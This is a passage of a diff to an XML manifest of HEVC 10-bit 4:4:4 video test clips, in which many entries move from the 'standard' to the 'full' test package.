   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=356864,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4444224,package=standard</value>
+    <value>mime=video/hevc,size=356864,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4444224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ssim.mp4">
     <value>mime=video/hevc,size=546542,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6815208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=353767,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4405512,package=standard</value>
+    <value>mime=video/hevc,size=353767,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4405512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_superfast.mp4">
     <value>mime=video/hevc,size=537466,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6701744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=354775,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4418096,package=standard</value>
+    <value>mime=video/hevc,size=354775,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4418096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=356830,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4443784,package=standard</value>
+    <value>mime=video/hevc,size=356830,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4443784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=354321,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4412424,package=standard</value>
+    <value>mime=video/hevc,size=354321,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4412424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=355020,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4421160,package=standard</value>
+    <value>mime=video/hevc,size=355020,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4421160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=354685,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=standard</value>
+    <value>mime=video/hevc,size=354685,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=356406,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4438496,package=standard</value>
+    <value>mime=video/hevc,size=356406,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4438496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=362664,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4516720,package=standard</value>
+    <value>mime=video/hevc,size=362664,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4516720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=356884,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4444456,package=standard</value>
+    <value>mime=video/hevc,size=356884,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4444456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=356378,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4438144,package=standard</value>
+    <value>mime=video/hevc,size=356378,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4438144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=357083,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4446944,package=standard</value>
+    <value>mime=video/hevc,size=357083,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4446944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ultrafast.mp4">
     <value>mime=video/hevc,size=502482,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6264448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=309908,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3857872,package=standard</value>
+    <value>mime=video/hevc,size=309908,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3857872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=368248,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4586496,package=standard</value>
+    <value>mime=video/hevc,size=368248,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4586496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354684,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=356347,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4437760,package=standard</value>
+    <value>mime=video/hevc,size=356347,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4437760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=356335,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4437608,package=standard</value>
+    <value>mime=video/hevc,size=356335,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4437608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=356116,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4434872,package=standard</value>
+    <value>mime=video/hevc,size=356116,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4434872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_zerolatency.mp4">
     <value>mime=video/hevc,size=417514,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5206200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=157255,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1949112,package=standard</value>
+    <value>mime=video/hevc,size=157255,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1949112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=725204,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9048472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=157044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1946472,package=standard</value>
+    <value>mime=video/hevc,size=157044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1946472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1465597,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=18303384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=325197,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4048384,package=standard</value>
+    <value>mime=video/hevc,size=325197,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4048384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=323460,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4026672,package=standard</value>
+    <value>mime=video/hevc,size=323460,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4026672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4mbps_qpg16.mp4">
     <value>mime=video/hevc,size=696193,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8685832,package=full</value>
@@ -20829,10 +20829,10 @@
     <value>mime=video/hevc,size=683275,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8524360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=157508,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1952272,package=standard</value>
+    <value>mime=video/hevc,size=157508,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=1952272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5mbps.mp4">
-    <value>mime=video/hevc,size=368181,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4585680,package=standard</value>
+    <value>mime=video/hevc,size=368181,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4585680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_allidr.mp4">
     <value>mime=video/hevc,size=1579010,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=19725144,package=full</value>
@@ -20886,7 +20886,7 @@
     <value>mime=video/hevc,size=38938719,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=486717408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=65763,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=805456,package=standard</value>
+    <value>mime=video/hevc,size=65763,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=805456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ctb16.mp4">
     <value>mime=video/hevc,size=686706,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8567248,package=full</value>
@@ -21006,13 +21006,13 @@
     <value>mime=video/hevc,size=63761643,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=797003960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=66069,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=809280,package=standard</value>
+    <value>mime=video/hevc,size=66069,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=809280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=58002,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=708448,package=standard</value>
+    <value>mime=video/hevc,size=58002,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=708448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=53657,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=654136,package=standard</value>
+    <value>mime=video/hevc,size=53657,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=654136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_rect0.mp4">
     <value>mime=video/hevc,size=677404,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8450968,package=full</value>
@@ -21216,7 +21216,7 @@
     <value>mime=video/hevc,size=214113708,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=242515,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3015144,package=standard</value>
+    <value>mime=video/hevc,size=242515,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=3015144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_ctb32.mp4">
     <value>mime=video/hevc,size=1744458,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21789432,package=full</value>
@@ -21378,13 +21378,13 @@
     <value>mime=video/hevc,size=326467280,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=231494,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2877384,package=standard</value>
+    <value>mime=video/hevc,size=231494,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2877384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=206816,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2568912,package=standard</value>
+    <value>mime=video/hevc,size=206816,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2568912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=192842,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2394232,package=standard</value>
+    <value>mime=video/hevc,size=192842,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=2394232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_rpt_hdrs.mp4">
     <value>mime=video/hevc,size=1755511,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21927600,package=full</value>
@@ -21513,190 +21513,190 @@
     <value>mime=video/hevc,size=2277563,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=28456808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=27140,width=640,height=360,frame-rate=50,profile=,level=,bitrate=322672,package=standard</value>
+    <value>mime=video/hevc,size=27140,width=640,height=360,frame-rate=50,profile=,level=,bitrate=322672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=779060,width=640,height=360,frame-rate=50,profile=,level=,bitrate=9721672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=74130,width=640,height=360,frame-rate=50,profile=,level=,bitrate=910048,package=standard</value>
+    <value>mime=video/hevc,size=74130,width=640,height=360,frame-rate=50,profile=,level=,bitrate=910048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1563373,width=640,height=360,frame-rate=50,profile=,level=,bitrate=19525584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=328949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4095280,package=standard</value>
+    <value>mime=video/hevc,size=328949,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4095280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=325274,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4049344,package=standard</value>
+    <value>mime=video/hevc,size=325274,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4049344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=111440,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1376424,package=standard</value>
+    <value>mime=video/hevc,size=111440,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1376424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=110310,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1362296,package=standard</value>
+    <value>mime=video/hevc,size=110310,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1362296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=110078,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359400,package=standard</value>
+    <value>mime=video/hevc,size=110078,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1359400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=40788,width=640,height=360,frame-rate=50,profile=,level=,bitrate=493272,package=standard</value>
+    <value>mime=video/hevc,size=40788,width=640,height=360,frame-rate=50,profile=,level=,bitrate=493272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=385282,width=640,height=360,frame-rate=50,profile=,level=,bitrate=4799448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_allidr.mp4">
-    <value>mime=video/hevc,size=288273,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3590944,package=standard</value>
+    <value>mime=video/hevc,size=288273,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3590944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_altidr.mp4">
-    <value>mime=video/hevc,size=304451,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3792160,package=standard</value>
+    <value>mime=video/hevc,size=304451,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3792160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_aud.mp4">
-    <value>mime=video/hevc,size=108391,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=standard</value>
+    <value>mime=video/hevc,size=108391,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=96898,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1195248,package=standard</value>
+    <value>mime=video/hevc,size=96898,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1195248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=122598,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1515896,package=standard</value>
+    <value>mime=video/hevc,size=122598,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1515896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=108959,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1345400,package=standard</value>
+    <value>mime=video/hevc,size=108959,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1345400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=108761,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342920,package=standard</value>
+    <value>mime=video/hevc,size=108761,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=108831,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343784,package=standard</value>
+    <value>mime=video/hevc,size=108831,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=109063,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346696,package=standard</value>
+    <value>mime=video/hevc,size=109063,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=109228,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1348760,package=standard</value>
+    <value>mime=video/hevc,size=109228,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1348760,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=108740,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342648,package=standard</value>
+    <value>mime=video/hevc,size=108740,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=109432,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1351320,package=standard</value>
+    <value>mime=video/hevc,size=109432,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1351320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=118376,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1462312,package=standard</value>
+    <value>mime=video/hevc,size=118376,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1462312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf0.mp4">
     <value>mime=video/hevc,size=3352162,width=640,height=360,frame-rate=50,profile=,level=,bitrate=41885448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=9647,width=640,height=360,frame-rate=50,profile=,level=,bitrate=104008,package=standard</value>
+    <value>mime=video/hevc,size=9647,width=640,height=360,frame-rate=50,profile=,level=,bitrate=104008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=111093,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1372096,package=standard</value>
+    <value>mime=video/hevc,size=111093,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1372096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=109345,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1350248,package=standard</value>
+    <value>mime=video/hevc,size=109345,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1350248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=109314,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349848,package=standard</value>
+    <value>mime=video/hevc,size=109314,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_grain.mp4">
-    <value>mime=video/hevc,size=180044,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2233968,package=standard</value>
